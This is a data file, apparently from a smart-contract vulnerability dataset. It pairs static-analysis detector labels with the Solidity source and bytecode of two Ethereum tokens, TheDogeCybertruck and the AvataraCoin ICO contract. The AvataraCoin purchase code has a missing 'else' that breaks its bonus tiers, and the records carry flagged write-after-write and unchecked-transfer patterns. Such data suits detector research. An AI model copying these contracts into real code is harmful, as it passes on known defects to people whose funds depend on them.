a78c1194807c63431d90537c2a4d15eeafb0399f08caac1c195af24f6963f5650029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,581
0x195400644894e21cf9cb0314a18a1b44d71a994d
/** *Submitted for verification at Etherscan.io on 2021-05-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TheDogeCybertruck is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'The Doge Cybertruck'; string private _symbol = 'DOGECT'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a60633d53def5501816881844ce73fec84ba97533aa85334cfd1978065a5c9c764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,582
0x9653b504a33fe5d2434af7ccacfcd4304862b23a
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused.db.getCollection('transactions').find({}) */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public constant maxTokensToMint = 7320000000 ether; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) { return mintInternal(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() whenNotPaused onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) { require(totalSupply.add(_amount) <= maxTokensToMint); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } } contract Avatar is MintableToken { string public constant name = "AvataraCoin"; string public constant symbol = "VTR"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 100000; uint256 public constant hardCap = 30000 ether; uint256 public weiFounded = 0; address public approvedUser = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213; address public wallet = 0x231FA84139d9956Cc8135303701d738213D8D916; uint64 public dateStart = 1520348400; bool public icoFinished = false; uint256 public constant maxTokenToBuy = 4392000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function finishIco() onlyOwner returns (bool) { icoFinished = true; return true; } modifier canBuyTokens() { require(!icoFinished && weiFounded <= hardCap); _; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable { require(beneficiary != 0x0); require(msg.value >= 100 finney); uint256 weiAmount = msg.value; uint256 bonus = 0; uint256 totalWei = weiAmount.add(weiFounded); if (weiAmount >= 30 ether){ bonus = 75; }else if (weiAmount >= 15 ether){ bonus = 70; }if (weiAmount >= 6 ether){ bonus = 60; }else if (weiAmount >= 3 ether){ bonus = 51; }else if (weiAmount >= 1500 finney){ bonus = 45; }else if (weiAmount >= 1 ether){ bonus = 42; }else if (weiAmount >= 500 finney){ bonus = 30; }else if (weiAmount >= 300 finney){ bonus = 20; }else if(weiAmount >= 100 finney){ bonus = 5; } uint256 tokens = weiAmount.mul(rate); if(bonus > 0){ tokens += tokens.mul(bonus).div(100); } require(totalSupply.add(tokens) <= maxTokenToBuy); mintInternal(beneficiary, tokens); weiFounded = totalWei; TokenPurchase(msg.sender, beneficiary, tokens); forwardFunds(); } // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } }
0x6080604052600436106101875763ffffffff60e060020a60003504166305d2035b811461019257806306fdde03146101bb578063095ea7b31461024557806318160ddd1461026957806323b872dd146102905780632c4e722e146102ba578063313ce567146102cf578063329d5f0f146102fa57806334ebb6151461031b578063356e29271461033057806337bdc146146103455780633f4ba83a1461035a57806340c10f191461036f5780634cd412d514610393578063521eb273146103a85780635c975abb146103d957806370a08231146103ee57806374e7493b1461040f5780637d64bcb4146104275780638456cb591461043c5780638da5cb5b1461045157806395d89b411461046657806398b9a2dc1461047b578063a3b6120c1461049c578063a9059cbb146104ce578063b9dc25c5146104f2578063dd62ed3e14610507578063ec42f82f1461052e578063ec8ac4d814610543578063f1b50c1d14610557578063f2fde38b1461056c578063f669052a1461058d578063fb86a404146105a2575b610190336105b7565b005b34801561019e57600080fd5b506101a76107ed565b604080519115158252519081900360200190f35b3480156101c757600080fd5b506101d061080f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020a5781810151838201526020016101f2565b50505050905090810190601f1680156102375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025157600080fd5b506101a7600160a060020a0360043516602435610846565b34801561027557600080fd5b5061027e610871565b60408051918252519081900360200190f35b34801561029c57600080fd5b506101a7600160a060020a0360043581169060243516604435610877565b3480156102c657600080fd5b5061027e6108e8565b3480156102db57600080fd5b506102e46108ee565b6040805160ff9092168252519081900360200190f35b34801561030657600080fd5b506101a7600160a060020a03600435166108f3565b34801561032757600080fd5b5061027e610954565b3